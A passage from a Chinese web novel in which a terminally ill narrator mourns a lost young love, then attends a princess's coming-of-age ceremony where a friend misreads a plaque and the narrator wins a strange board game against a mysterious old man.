有些话我没法和平安解释分明,因而她对薛环的评价,肤浅甚至误解也正常,我不怪她。可花铁铁就这样欺辱逼走了薛环,我实在伤心愤恨,心口堵得极其难受,只觉喉头腥甜,便匆匆开了马车的侧窗,一个旋子下了马车,飞身离开,头也不回。 薛环走了,我失恋了,趴在床上,大哭…… 花铁铁来跟我道歉,自然是百般说辞,她先跪在我身边承认了自己行为上的过失。 然后就开始了狡辩,“我就稍稍试了一下,他就恼了怒了走了,啧,他个小屁孩儿,能有什么真心,一赶就走的人,追都追不回来的感情,别要了。 得亏发现得早,他走的早,要是三年五载他长成了再弃了你,你更难受,有过前车之鉴,我可不能叫你同样的亏吃两次。 臭小子这么小就有些迷魂手段,这才几天啊,你恋得还不深,他走了你就这么难受。我都不敢想象你和他多过几年,那时候你得多伤心。 你别伤心了,他就是个过客,我们才是一辈子的。说到底,你俩不合适,你们看着年龄般配,可他情况和你不一样,他现在还没长成,还是小孩儿,根本不懂什么是爱情,就是觉得你好看,你好玩,和你玩玩的,根本就不能信誓旦旦的一辈子……” “有没有可能,我没想着要他一辈子。”我如今这样的情况,会动不动就把一辈子放在嘴边儿吗?我根本不敢!可惜你们都不知道。 我继续趴在床单上,“你想得太长远了,我只图眼前而已,我只是想在他还喜欢我还爱我的时候,尽情感受一下被喜欢被爱的感觉。能陪我走一段路就好,我并没奢望要他一辈子。” 我快死了,我给不了他一辈子了。如果我还能活着,我一定会把他挽留下来的。或许上天也不忍心他再经受苦难,亲眼看着我死去,所以,及早让他离开了吧。可是他不应该那样离开,我还是恨花铁铁的! “我都是为了你好。”花铁铁低着头,她不后悔,所以不需要忏悔,但是她不想我这样伤心难过,她看着心疼,所以她感到抱歉。 这时,平安推门走进来,红着眼圈,对花铁铁道:“你把他赶走固然是为了长安好,可是,对长安来说不见得有真多好。”见我如此心灰意冷,毫无生气,平安对花铁铁是埋怨的。 花铁铁又解释起来,可现在说什么,我都觉得没有意义。 “我不想活了,”反正就要死了,“我想去上战场,如果我战死了,你就一把火把我烧了,让我挫骨扬灰,魂飞魄散……或者,我去南唐,把摄政王和那些老不死的门阀权贵昏天暗地,杀穿他们,我大概会失败了,也会被千刀万剐,挫骨扬灰,那样也很好,总归殊途同归……” “呸呸呸,你说这些干什么?”平安觉得我说这些很不吉利。 “人啊,心头上有个人,才能活得下去。”我苦笑。 “长安,你振作一点,你还有我,还有我们一大家子呢!”平安的泪簌簌地下。 我又是苦笑。我还能说什么?我心头上已经被人站满了人,却唯独站不下我想的人。我又悲痛万分的哭起来。平安跟着放声哭泣,连同她心里的苦一起发泄…… 花铁铁也被我们哭得动容了,鼻子酸痛,她想将我抱进怀里,我用力趴在床上,执拗的使劲对抗,不让她把我抱起来。花铁铁只能作罢,她附身靠过来,整个怀抱罩在我身上,低声道:“对不起,下次,再有人喜欢你,我……” “不会再有人像他那样喜欢我了……你们走吧,我想自己一个人待会儿……” 花铁铁不肯走,平安道:“铁铁,长安看着还是个孩子,可灵魂和咱们一样是个青春正好的姑娘,她也有尊严,也想要体面……我们出去吧。” “长安,我……” 花铁铁得不到我的宽容是不会安心的。瞧,我都那么伤心了,还要顾及别人的感受,安抚别人的心情。她只是好心办坏事儿,都已经那么低声下气,善解人意的来哄我了,我再不给她台阶下,多失礼多不讲道理,多没有人情味儿,多不仗义啊。 也许花铁铁不是这样想的,但我就是现在心里这样想她,把她想的越无耻越卑鄙越坏,难听的话伤人的话我喜欢留在心里使劲儿说,没有底限,要多阴暗有多阴暗,直到我腹诽够了,我心里才彻底痛快,痛快了,我就肯松口原谅她了。 “下次,有男孩子喜欢我,帮我好不好,把我的病瞒着,直到瞒不住为止,就算迟早有一天,他会和我翻脸,由爱生恨,厌恶我,嫌弃我,也帮我好不好,我要的不多,只要他一段时光而已,不管什么代价,我都愿意承受,请你们一定要站在我这边,就算眼睁睁的看着我饮鸩止渴,也别阻止,就当可怜我……”我说不下去了,又哽咽起来。 花铁铁知道我这是原谅她了,就和平安一起抱着我哭了。 唉,哪有什么下次,不过是个托词,如果下次的男孩可以,那为什么薛环不可以呢?在他们眼里,已经有一个李椒“珠玉在前”了,薛环就是他们帮我避免的“前车之鉴”,再后来的,他们只会在“他”接近我,表露出喜欢我爱我的心意之前,帮我规避掉,把我“保护的好好的”,不会让任何人“伤害我”。 她们是爱我的,用她们以为的爱,来深爱我!唉!家人朋友,有时候是很沉重的! 很快,我失恋这件事儿,传得沸沸扬扬,可大多数人,都只觉的我这么个小小的人儿,失恋了,是一件很搞笑的事情! 我这么一点点儿个小屁孩儿,居然也会是失恋,啊哈哈哈…… 尤其是刘景,他微服私巡,来看我,看到我哭湿的床单上,都是一张张印着五官的小脸时,安慰的话是一句都没说出口,只顾着仰头哈哈哈。 平安把我扶起来,说要给我换床单,可刘景笑的越开心,我哭的越发不能自已,忽然抬起头,透过桃子眼,看着床单上一张张脸上,湿湿的小眼睛,小鼻子,小嘴巴……我居然也破涕为笑了…… 大家也都笑了。所有人都以为这件事过去了,没人知道,从此我的泪,只往心里流。 那日,我追到薛环了,或者说薛环等到了我。山居小院里,我们四目相对,挽留的话和拒绝留下的话,都不是我们要说的话。 我们心意相通,挽留二字不必说出口,追来这个行为就是最好的挽留,薛环笑着说:他都明白。 是的他从来懂我,知道我不是为了挽留他、强留他、为难他而追来的,是为了让他知道,他走了我会舍不得。 我也知道不管他受了怎样的凌辱,他都会为我忍下,可我不能委屈他。 我说:“你等在这里,是为了让我别找不见你,你是不会跟我不辞而别叫我担心叫我着急的,我知道只要我来我不用开口,你就会留下,人都说咬脐郎是天生的犟种,下定了决心谁也改不了,可我知道我在你这里从来都是例外,所以我刚才在树林里犹豫了好久才现身。 你不要跟我回去,天地男儿要有立身之本,留下来,在别人看来是个好前途,但我知道那只会局限你一身本事的发挥,再有出息也不过就是个朝臣。广阔天空,你该大有一番作为,前世你就像太阳一样,今生你会成为更大更耀眼的太阳,你去吧,成为一个盖世英雄,回来治好我,娶我。” 薛环感动,点点头,“最多五年。” “三年,最好两年。”如果两年的话,我还能使劲儿撑一撑,撑到我们再见一面,我怕心思暴露,便低头娇羞道:“相思太苦,我靠着这段时间的美好回忆,撑一辈子也够了,可是我爱你,我喜欢你,难忍分离……” “好,我不会让你等太久的。”薛环温柔的将我抱在怀里,坐在秋千上,一遍一遍亲吻我的额头,一遍一遍说着爱我喜欢我。 我听得异常认真,因为也许再也听不到了…… 送他离开,我将山居小院的一切打理好,然后锁上了门……不久,我就会回来的,只是下次来,要永远留在这里了。 我安慰自己,关于他的种种,就当是我短暂人生中,无数个小插曲里最美的一支吧,如梦似幻……后来啊,就真的跟做了一场梦一样,只有在山居小院的时候,我才恍惚,他真的来过。 你啊你,教我相思难解,举头,只道月色真好,晚风轻柔,伴着梧桐院的阵阵花香…… 我的,少女心事,该与熟说?呵,既然无人听无人懂,那便彻底放下吧,做个男儿,顶天立地的,挺好的。 我将刘景赏赐给我的齐天大圣的一身甲胄穿上,这是我第一次穿,在镜子前看着威风凛凛的自己,不禁斗志昂扬,甩着凤翅紫金冠的翎羽,倜傥潇洒:“我长安君,又回来了。” “喵呜,喵呜……”我循声看去,墙头上一只花狸子,与我心意联动,“神君!” 是神君,我惊喜万分的穿过敞开的宣窗飞身过去,立于墙头之上,张开双臂,将跳入我怀中的神君抱住,心道:“神君,你这些日子都去哪儿了?” 神君回复道:“在结界里待的太久了,出来看看新的天下什么样子,了解一下各界如今都是谁人主宰,各方神明都要走动结交,不可轻慢,以后举事也好行个方便……” 是去做大事了,我用脖颈子摩挲着花狸子神君,道:“我不是想拘着你,只是下次离开,不能不辞而别,要跟我说一声,不然我会很担心的。” 神君打着呼噜应下。 神君发现我的身体变弱了,于是扬起下巴,在我嘴上轻轻吻了一下,我立即觉得一阵清爽从口腔席便全身,气海的内力慢慢充盈,恢复生机勃勃…… 不等我询问神君,也不等我对他表示感谢,他就一副昏昏欲睡的懒猫样子,道:“我有些累了,要休息,把我放在你的床头就行,有什么不明白的,等我醒了告诉你。” 说完,神君就团成一团睡着了。 元欣郡主和高阳郡主的及笄礼,一同在长公主府举行。 长公主府邸原是个前朝王宫,比惠王的王府的规制要高些。长公主府的东侧是丞相府,丞相府属于官邸,大门很是威严肃穆,再四邻便是公卿勋贵的府宅,如众星拱月。 长公主驸马是护国公陈实,就是陈书的大伯。陈书是陈家二房的嫡次子,今日他也是很忙的。 长公主府待客的花厅十分豪华,非常气派。花厅分为正厅,东西侧厅,前后左右各有园林步景,布局雅致…… 惠王得从自己的府上出发,齐王七皇子他们要先归宫,再随着太子殿下一起,都来的晚一些。 堂邑夫带着我们一家人,乘了两辆马车。因为今日车马实 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不然在家逗猫遛狗,去上林苑走马游玩不好吗?那个元欣郡主讨厌得很,咱们凭什么去她的及笄礼上,观她的礼,看她的风光? 低调什么低调?灰头土脸的去干什么?就是要光鲜亮丽的。到宴上,咱们对谁都敬而远之就行了。” 于是有人跟我们打招呼我们就回礼,谁往我们这边看我们就看回去,互相都客客气气的,虽有些疏离,倒也清净。 直到武安侯田世子带着家中兄弟姊妹来了,他引来与我们相互认识。花铁铁和平安的妆面是万三给做的,贴了一下小珍珠点缀,田家的小姐们没见过,没想到除了花钿还能用珠宝做妆面,就谈论起来。 随后又有几家姑娘加入,看着平安的指甲,丞相府的小姐,忽然恍然大悟道:“噢,我想起来了,这位平安姑娘,怕就是荣玥荣珺两位公主的好友,公主的指甲就是平安姑娘给做的,我在宫学伴读的时候,和公主一起做过,不过我总做的不好,今日见着正主了。” 这自然是恭维的话,也借机展示自己是公主伴读,听听便可。平安礼貌回以微笑,并不顺着话说下去,只给她们讲解美甲的技法。 女孩子们谈论这些,总是话多的聊不完。青春烂漫的姑娘们最是可爱,让人看着就开心。我们男子们就跟在她们后头,说些关于学业课业和学宫大考的事情,姑娘们笑得开心,我们也会跟着一起笑笑。 可是花铁铁对这些不感兴趣,来到一处设有台球桌的十字亭,见正有公子对战,她就兴奋不已地引我们过去。 招待客人,不仅要吃好喝好,更重要的是玩好,故而今日长公主府上,还特地在花园各处的亭台小榭里,都多多的安了几张台球桌,以供客人一展身手,只是太受欢迎,已经“人满为患”,我们只有观战的份儿。 自从台球风靡起来,势头压过马球,丞相亦痴迷此技,此次学宫大考临时加了台球,就是他的提议。丞相府的官员们闲暇时一边打球一边聊政务,也被认为是稀松平常的雅事。 世家门阀府上都会配备台球雅室,男子们忙起来不在家的时候,女眷们也会打着玩,比马球安全,方便,好玩,还不用出门抛头露脸,是以更受女孩子们的欢迎,会打台球且打的好的小姐们,比比皆是。 只是来长公主府上渉宴,小姐们含蓄矜持,且男女有别,有外男在,若没有自家兄弟下场对战,她们也不好从旁观战,便只喝茶谈笑,连台球桌的边儿都不肯轻易过去。花铁铁的直来直去,倒是挺正中她们下怀的。 一群人进了亭子,又大都是貌美如花的小姐们,打球的公子们多少是会紧张的,连连失误,花铁铁简直看不下去了,好不容易等他们收杆,就要亲自上场,还叫平安跟她一起,平安摆摆手说她只会轻推。 轻推,在台球桌上,是不受欢迎的。男人们觉得打不响,不过瘾,不阴不阳不痛不痒的感觉最难受,谁要敢轻推,进了球也会被惩罚。 但是像平安这样的姑娘,大家就会宽容很多。花铁铁环顾一圈,提议道:“小姐们,咱们姑娘们开一局,也叫大家看看什么是巾帼不让须眉啊?” 有人带头,她们是很高兴的,花铁铁话音刚落,不等跃跃欲试的小姐们回应,人群后面便有人朗声道:“我与姐姐同你们二人对战一局如何?” 说话的是荣珺公主,身后跟着荣玥公主及一行宫人。 众人赶紧行礼,荣玥公主叫免礼平身,又对大家道:“你们先玩吧,本宫与妹妹才来,还要去和两位姐姐坐坐。”说着就仪态端庄的带着荣珺公主及宫人走了。 众人又行礼恭送。 荣珺公主身边的大宫女过来传话道,公主殿下说一会儿对战继续,还请不吝赐教。 我们恭敬从命,大宫女走了,花铁铁顿时没了兴致,把台球杆子一放,嘀咕道:“那还玩什么?跟公主对战,咱们敢赢吗?” 又对平安道:“公主那样的我看着也就会轻推,还不一定能推进去,到时候不是赐教,怕得手把手的教吧,我性子急,三教两教教不出来再教出火来,把公主冒昧到了,我就战死了,平安,你陪着玩吧,我还是躲了吧,逛园子去。” 说着就大跨步的出了亭子走了,她这般直言不讳的性情倒不失可爱,众人不禁笑了笑,视线随她而去。 她还真是走到哪都能引人注目。 我正要跟上,平安叫住我,意思是不能让她一个人等公主,我回头道:“那傻子一个人逛园子我哪放心啊?回头再给长公主府拆了,还不如战死。”平安觉得对,也跟着我一起,堂邑夫柳延年郑清自然跟上。 公主发了话,这台子便谁也不好开局玩了,大家面面相觑,这么干等着着实尴尬。 田世子就提议,要不大家都逛园子吧,毕竟长公主府可不是一般的府邸,景色很是宜人,每次他来都赏心悦目。 他说的对,来长公主府上做客,是一定要游园的,她府上的园林景观可谓一绝,那是比皇宫还有情致和雅趣的存在,听说逛了长公主家的园子,才能领略什么是一步一景,移步异景,相传出了长公主府家的园子,天下便无园可赏,素有“不二园”的雅称。 于是便叫陈书,带着我们大家一起逛园子,颇有些浩浩荡荡…… 来到一处轩阁,扑面便是特别浓郁的书香气质,花铁铁很是喜欢,抬头看着匾额就有些兴奋,甚至激动,朗声赞道:“哎呀,好啊好啊,这四个字好啊!如此宏愿,简直与我志趣相投啊,长安,我也有此远大抱负,但尽管为人豪放,也不敢宣之于口。 你看人家,都挂出来了!啧啧啧,果然是长公主府家的人,不光有内涵还有胆识,你看这大牌匾挂的,金灿灿的,威风赫赫,我花铁铁生平最是钦佩这等敢想敢做,敢当敢认的人,陈郎君,这是谁的手笔?操所有人!!!” “……”鸦雀无声。 “铁铁,你念反了。”我提醒道。 花铁铁尬了一下,随即恢复坦然,恍然大悟的样子道:“……噢噢噢,人有所操,哎呀,果然啊,书此匾额者,乃我辈楷模啊,要不怎么人家的匾赫赫然挂长公主府里这么显眼的地方呢,就是有境界啊。 哎呀呀你看哈,说的真好哈,言简意赅:这个人啊,就是得有所操,有所不操,哪能什么都操呢?就是得挑着捡着,不能来者不拒,操所有人,那只能是梦想,身体受不了,一切都百搭,有所操,才是正道,才是长远之道啊!” 人呢,肚子里有了点墨水,就会忍不住炫耀。就像山里修行的动物有了一些道行,就会忍不住到人间来显露,往往这个时候就会栽跟头,毁了修行,断了前程。人们因此会嘲讽或者感叹说好好待在山上成仙不行吗?非要下山来!可惜了了吧云云,往往归咎到劫数。 可是同样情况,轮到自己的时候,都会鬼使神差,犯这种类似的错误,比如穷人乍富便为富不仁,比如加官进爵,便一步登天眼高于顶,更不用说那些仰仗家里一人得道,便跟着升天的鸡犬了。 花铁铁一感叹,我就隐约觉得不好,果然……但我转头一想,读书,会提升智慧,有了智慧,便有了聪明,有了聪明,就会卖弄聪明,但都是些聪明反被聪明误的小聪明,不经一番磨砺教训,是不会获得大智慧大聪明的,既然早晚都是要“栽跟头”的,越早一点,摔的越轻,眼下,无非就是闹个笑话而已,若是能够有开悟,也值了。 于是我一直等她说完,还眼神示意平安堂邑夫他们不要贸然阻拦。 “说完了吗?说完了快快叫人把你拖下去乱棍打死吧!”不会有人真的把花铁铁拖下去打死的,我故作汗颜的样子,擦擦额角,道:“这四个字出自《诗经·大雅》,‘人有所操,吾有其道’,是说为人要有自己的道德情操,有原则有准则,要保持清醒的头脑和立场,不被诱惑,不随波逐流,操是操守的意思。” 花铁铁闻言,转身环顾一圈,将众人神色尽收眼底,懊恼道:“啧,我这些日子读了好些书,先生也总是夸我,近日我渐渐出口成章,便颇有一种学富五车的优越感,骄傲起来了。刚刚卖弄了一番,又丢人了。才道我才疏学浅竟自满起来,真是个一瓶不满半瓶晃的废材,嗯……学无止境,看来我离真正的有学识还远着呢,我还得加紧学习才是真的。” 众人对她坦诚中肯的自我批评与反省十分认可,纷纷点头。 花铁铁自省完,又抬头看了看那个牌匾,道:“回头我叫人也做这么一道牌匾,挂在我书房里,时时提醒我今日闹得笑话,警示我好好读书。” 这是陈书合手稍稍一拱,道:“府中各处庭院的牌匾都是我们兄弟书写,这道匾额,正是我幼时所书,花姑娘喜欢,可送与姑娘……” “使不得使不得使不得,君子不强人所爱!”花铁铁连忙推拒。 我呵呵笑道:“你大大方方收下吧,今日你一番乱七八糟的解读,这匾额除了挂到你书房里,警示你,怕也没有合适的地方和用处了,送你物超所值。” 众人神色各异,但都很赞同我说的话,在场的人怕是此生都对这四个字印象深刻,难以直视了。文字、语言的力量就是这么强大,不管有意还是无意,有心还是无心,一旦思想被侵略,或者被污染,就很难返璞归真到原来的样子。 我们一路逛到花园的尽头,高高的府墙上,有丞相府后宅花园的爬墙月季像瀑布一样翻覆过来,花儿开的娇艳,倒也点缀了长公主府的景色,是以保留下来,并没有齐头裁剪。 阵阵清风里,落英纷纷,摇曳着香气,沁人心脾…… 有人从两个宅院的后门进出,是长公主府上的台球桌短缺,临时从丞相府借调几张。 前面礼乐响起,众人都朝着长公主府的大殿行去。 长公主府的大殿,皇家行宫汤泉宫的正殿还要气派庄严,太子,长公主,梁王已经端坐与上,下手首是十二外命妇,每位外命妇左右各有秉礼端着不同品秩,不同质地,作工精致,各种场合佩戴的钗,簪,步摇,冠,钿,华胜,梳篦,掩鬓,挑心等等发饰。 花铁铁震惊这些都戴在头上哪插得下啊,就算插得下,这么多,这么重,不得把脖子压断啊。 她声音很小,只有我们几个听得见。我解释说,这都是各位上位者的赏赐和礼赠,展示出来是为了彰显荣宠,并不是一会儿行及笄礼的时候全都要戴头上的。 99. 栽赃 及笄礼由迎宾,就位,开礼,宾盥,初加,一拜,二加,二拜,三加,三拜,置醴,醮子,字笄,聆讯,揖谢,礼成等冗多的步骤组成。身份地位越是高贵,礼节越是周全,繁琐。 及笄礼乐奏响,十二位外命妇,分别担任赞者,赞礼,摈者,执事,各司其职。 衣着华丽盛装打扮的高阳郡主和元欣郡主,披着长长的秀发,缓步而来,身后是两位公主,再后面是各位即将成年也要行笄礼的贵女。 进入殿中来,公主和贵女们,分列两边。 因为我们一家并不喜欢这两个郡主,于是就在人群中,低着头玩剪子包袱锤。 开礼之后,所有的过程我们都不想看,直到命妇将她们的青丝高绾,秉礼太监,高呼太子殿下初加。 初加、二加、三加,分别是在受礼者发髻上加簪,笄,钗三冠。 一般初加都是由父母执行的,但因为高阳郡主是太子的未婚妻,身份特殊,便由太子先行为其加具有特殊意义的“钗”冠。元欣郡主则由梁王夫妇加簪。 太子将一直精美绝伦的双股合扇凤钗插进高阳郡主的发髻上,这凤钗是先皇后生前特地懿旨赐给将来太子妃的,愿太子夫妇和和美美,恩恩爱爱。 凤钗上头的那一刻,就注定了高阳郡主一生富贵无垠。 初加礼成,殿中众人一跪三拜礼,为二人,山呼吉言祝语。 殿中人多,没有人会关注到小小的我,于是跪拜的时候,我微微抬头看向太子,只见他眼圈微红,下巴轻轻抖了抖,似有些动容,他仰头看向大殿外面的天空,仿佛是告慰先皇后的在天之灵,也仿佛是在欢喜自己等了这么多年的心爱的女孩终于长大了,他就要与她结婚生子,白头偕□□度一生…… 高阳郡主的眸子中也是含着泪的,除了这一点,她再没有任何情绪的表露,不悲不喜,自始至终端着礼,目视前方,不曾与太子对视一眼,仿若一尊高贵持重的金身塑像。 等众人平身,二人已经恢复如常。 接着,长公主夫妇和梁王夫妇为自己的女儿完成及笄礼,平安和花铁铁感伤,她们没有艳羡两位郡主无比奢华的成年礼,只是想起自己,是没有父母双亲挽髻插簪的…… 而我,这辈子都不会有及笄礼的。 典礼结束,太子梁王长公主等各家长辈去了后殿。 公主郡主贵女们去高阳郡主园子更衣换妆。 众人都回到大花厅等待开宴。 惠王齐王七皇子等亲王皇子和尊爵世子嗣子长子等身份尊贵的贵子们在正厅,公主郡主贵女们还没来,正厅一半的席位空着。 再下首的东西侧厅,分别为男宾女宾,尊卑有序,礼数周全。 我是小孩子,无所谓男女,就跟着平安花铁铁去了西花厅。正好看着花铁铁别再闹笑话。 花厅只是客人们游玩茶话之所,酒宴不在这里举行。 长公主府上的奴仆们忙忙碌碌,井然有序的在大殿内摆放筵席酒肴,那里才是此次笄礼庆典宴会的正式场所。但时辰还早。 东花厅那边一个须发皆白,宛如谪仙的白胡子老头,有一种新奇的棋术,很多人与之对弈都败下阵来。 这棋下法奇特,黑白棋横竖走直线,只要跨越对方棋子,就能把对方棋子吃掉,但每次只能跨越吃掉一个棋子,可以连续跨越连续吃,吃到,便可以一直走,吃不到,就要停下,由对方走,对方若无棋可吃,要走一步,再将行走权交给对方。 柳延年和七皇子见了,说这不就是跳棋吗?结果对战,败得更惨。 齐王去围观一了下,觉得很有意思,技痒难耐,邀请老者堂前一战。 齐王的棋艺是有目共睹的,还不曾遇到过对手,可是这种新式棋术,下起来鹿死谁手还真不好说,当即引起众人关注。 于是正厅,东西花厅的众人们,都噤声息语,端坐观看。 可其实除了几个靠前的位置能直接看清棋盘局势,其他人是看不到的。 长公主府上主事,便安排了仆从或婢女,在花厅内,摆放了几张棋盘,根据老者和齐王的对局情况,复刻棋局以供观赏。 我嫌有延时,又脸皮厚,就直接站到齐王身边观棋,看着看着觉得累,就直接坐下身来。 齐王果然不错,与那老者相互牵制,但终究还是败下阵来,齐王看着棋局,摇了摇头笑了笑,甘拜下风,恭敬道:“受教。” 老者捋着胡子,哈哈笑道:“承让,众位后生与本尊小试,本尊亦有礼相送。” 他是谁啊,说人家后生也就罢了,还敢在亲王面前自称本尊? 老者对众人神色视而不见,只拂尘一扫,棋盘上就多了一斛珍珠,“此乃南海鲛人珠,赠与各位。” 众人惊奇这莫不是仙人。 我只道这些挥来拂去的障眼法,是糊弄人的江湖术法,不足为奇。可是这么大一斛个头饱满,色泽醇厚的鲛人珠,实在太少见太惊人了。 我细细打量着眼前的鲛人珠,心道:别是假的,鱼目混珠的吧。 却见果然是货真价实的鲛人珠。就用胳膊顶了顶齐王,用下巴指了指棋盘上的鲛人珠,看着他低声道:“瞧见没,这才是真正的鲛人珠。” 齐王想起之前给人骗了,送他懒美人没送出去,又转送给我的那两颗做成发簪的假鲛人珠,就有些红脸。 眼前的鲛人珠,与他的那两颗果然天差地别,他那一眼假的东西,当初是怎么就信以为真了呢?感觉那段时间他不仅沉迷女色,昏庸荒唐,甚至耳聋目瞎,头晕智障,他懊恼不已,自责地偷偷攥紧了拳头。 我小手在桌下轻轻拍了拍他,他才舒缓。 老者叫人将鲛人珠分别馈送给刚才与他对战败阵的各位公子们,柳延年和七皇子得到了鲛人珠转手送给了平安,齐王的送给了我,我也转手送给了平安。 本来没有,平安想着能得到一颗也是好的,可是一下有了三颗,她就觉得要是能凑成对儿就好了,可以做两对儿鲛人珠耳坠儿,她和花铁铁一人一对儿。 堂邑夫听了,就要与老者对战,再得一颗珠子。 老者意兴阑珊的样子,摇了摇头,意思非常分明,之前的对战者都是冲着赢去的,势必全力以赴,他能玩的过瘾,尽兴。 冲着珠子来的,他下着没意思,可若是把鲛人珠设置成奖品,激堂邑夫奋战,又实在有失公允,因为没人能赢的过他,老者索性不应战,拂尘一扫,收了鲛人珠,起身要走。 我赶紧拿出三颗血菩提,请他留步,道:“这是山君巨鳄大鼋精血炼制的血菩提,世间少有,不是什么顶级灵物,比这鲛人珠倒稀罕些,这三颗血菩提换我与您对战一局的机会,如何?” “啊呵呵,念你一片拳拳爱姊之心,予你这小儿一颗。”老者说着反手,掌心瞬间一颗鲛人珠。 棋局摆开。 平安不解的问:直接换不就行了,还对什么战啊?反正都是输。 花铁铁一挑眉说:那不行,一码归一码,不战而输,那鲛人珠跟乞讨来的有什么区别?就算结果都是输,也得敢上场亮剑,输不丢人,怯才丢人! 平安这才赞同的点点头,连连称是,很是受教的样子。旁人也是。 其实这鲛人珠虽然十分难得,但我和花铁铁费点心思,未必弄不到,可是鲛人珠有个特性,就是不同鲛人产出的鲛人珠大小质地暗纹甚至闪现的珠晕光泽等等,都是不同的。 因此,想将手上的三颗凑成对儿,第四颗无论如何都得是同一斛里的。 当然也能从在场的,拥有鲛人珠的公子们手上重金购买或者交换,但人情世故,扯不清道不明。求上门的,从来不存在等价交换,多少钱财也平不了人家心底的意,三颗血菩提也不如一颗鲛人珠金贵。 谁叫咱们求着人家呢? 这还不算完,便是以后平安或者花铁铁,资要是戴着鲛人珠出门,便少不得被人说嘴:啊,要是没有我割舍,她们哪来的耳中明月珠啊。是啊是啊,要不是谁谁谁,她们可真没这个福气。 好似珠子是我们白得的,早忘了我们也有付出,便他们是知道,也会绝口不提。 光是想想就糟心,还是我自己得来的直接痛快,干净利落。我妹妹腰杆子直了,想怎么戴怎么戴,怎么戴这么开心! 老者棋艺娴熟,上场就不断吃掉的我黑子,我只想着输的别太快,太惨,便小心谨慎的移着黑子。 场边的人们都渐渐散开,小厮丫鬟们也将花厅内,刚才复刻齐王对战棋局的棋盘收拾起来。 老者的白子大杀四方,如入无人之境,吃得不亦乐乎,转眼间我就剩下寥寥无几的黑子。 老者大有一副,若不是看你这孩子赤诚,才不会多此一举。全然忘了,这机会是我用三颗血菩提换来的。 我想着能保下一子也是好的,于是将一个黑子一步一步移到对方眼皮子下的最边缘上,企图蒙混过关。 老者果然只顾着闷头收拾棋盘中的棋子,想早点结束这无聊的对战,可等他回头想吃我最后的那颗在他眼目前儿的,边边儿上的黑子时,却发现没有跨越的路线了,只能垫了一步,将吃棋权暂时让给了我。 拿到吃棋权的我,随意吃了一颗棋子,发现还能吃,便接着吃了一颗,吃完这颗,发现还能吃下一颗,只要能吃子,就能一直不停的走棋,能走棋就能一直吃棋,于是…… 我渐渐吃得有些不敢相信了,转头问齐王:“是这么玩的吧?”不等齐王回答,我又一边慢慢的吃棋,一边抬头看着有些尬住的老者,软软糯糯地问:“我这样下对哈?我接着下了哈。” 众人也都渐渐聚了上来…… 怪不得这老头喜欢玩儿,这种把握生杀大权,畅通无阻,看着对方大势已去,无能为力,任我摆布的感觉,真就是挺爽的!!! 最后我吃子吃得都有些心虚了,小心翼翼,于心不忍的样子,硬着头皮,把老者的白棋吃光了!!! 众人看着棋盘上,唯一的那颗我的黑子,都愣了。 那老者忽然捋着胡子哈哈大笑起来,“好啊好啊,后生可畏后生可畏。”随即拂尘一扫,把一斛鲛人珠都送给了我。 众人感叹老者气度,平安捧着一斛鲛人珠,听那老者一直感叹:老了老了,还是后起之秀好啊云云。便牵着我走到老者面前,先表达了谢意,又叫我安慰一下老爷爷。 这有什么好安慰的,愿赌服输,我只想要一颗,他自愿给了一斛,我安慰他什么?他本来就很老,我本来就是后起之秀。 “江山代有才人出,各领风骚数百年,人都有年幼也都有年老之时,尊老爱幼,老爷爷喜爱你才将这一斛鲛人珠赠予了你,你也要懂得敬老,好长安要懂事儿,去,安慰一下老爷爷去。”平安蹲下身子,与我平视,进行一番耐心教导。 根本是他拿了我三颗血菩提,又输了棋局,不好再输了风度,所以才这般行径,怎么就是他爱幼,他对我多好多好,整得好似咱们欠了人家的了,不感激不安慰反倒是我的不是,我不懂事了? 我真是对平安的为人处世很是……有些……有点儿看不惯。 唉,自己的亲妹妹,我没办法。 于是我只能听话地转过身去,给老爷爷拱手行礼,恭恭敬敬地道:“老爷爷老爷爷,您一点也不老,跟我比下棋,你还嫩着呢。” 整个花厅顺间一静,然后爆发雷鸣般的笑声,啊哈哈哈哈…… 平安一边有些自家孩子不懂事就会闯祸的窘迫感和尴尬,一边也憋着笑,跟老者匆匆道歉,把我拉到一边儿打了两下屁股,又开始悉心教导我起来。 转头再看那位老者,已经不知去向。 花铁铁对平安说行了别教育了,人都走了,又道这别是个妖孽吧。 我说不是,长公主府有皇室气运笼罩护佑,邪修妖孽,是进不了府中来的,门口那两个镇守的大石狮子,就够它们吃一壶的,断不可能如此潇洒惬意的在府中行走,来去自如。 平安端着一斛鲛人珠实在不方便,长公主府的主事,便将平安的一斛鲛人珠当众数清,又落了锁,将钥匙给了平安,再贴上封条,端下去代为看管。 这时堂邑夫打听到那老者是跟随梁王来的,说是南唐北渡的,一位道行深不可测的老神仙,梁王有意招为国师,老神仙还未应允。 梁王历来喜欢招揽江湖豪杰,能人异士,连南唐修真门的人都有接触,还真是设略广泛。 花铁铁不屑地说,正经玄门修真的都遁世隐身,遍布结界与世隔绝,生怕被人瞧见打扰修行,老成这样了,还贪恋凡尘俗世,于人间行走,浪迹江湖,能是什么神仙,能有什么真本事,不过是半吊子,下山来混个虚名罢了。 我们都觉得,此言有理。 正说话间,看见苏和在长安城的大弟子苏生,随着迎客小厮来了花厅。我招呼他过来,一打听,原是苏和也收到了请柬,因为药庐实在太忙,便来的晚了,错过了典礼,这回儿苏和去后殿见礼,正给长公主表达歉意,顺便号平安脉,叫苏生来花厅等候。 忽然,正花厅后花园传来一阵争执声,其中那个男声,刻意高亢,似故作纠缠,大有引众人注意,驱足观摩之意。 那种言语,人一听便知道是怎么回事儿。 有好事者已经朝后花园去了…… 花铁铁蹙眉道:“什么人这么下作,在人家家里,又是这种好日子,弄私会这种事儿出来,还得闹的人尽皆知,这不是纯属膈应人吗?” 我们确实不喜欢两位郡主,但这毕竟是两位青春大好的姑娘,美丽人生就从此正式展开序幕的重要日子,在人家里闹这种事儿,叫人家一辈子,想起这天就恶心吗? 平安拧了拧眉头,低声道:“花姐姐慎言,这其中必有误会,今日这种日子这种场合,谁再不懂事儿,也不会这么出格,怕是有冤屈的。” 我冷笑一声,“哼,真是,到这里来搞事情,拿人家姑娘名节做文章,没得叫人恶心,咱们躲远点,走。”说着我提议去别处转转,等转回来了,后花园的事大概也解决完了。 平安瘪瘪嘴,蹙了蹙眉头,欲说还休。 我回头道了一声:“君子不救,这么多人,也轮不到咱们,别忘了咱们来是干什么的,蹚浑水容易惹祸上身,与咱们无益的事,少搀合,别弄一身骚。” 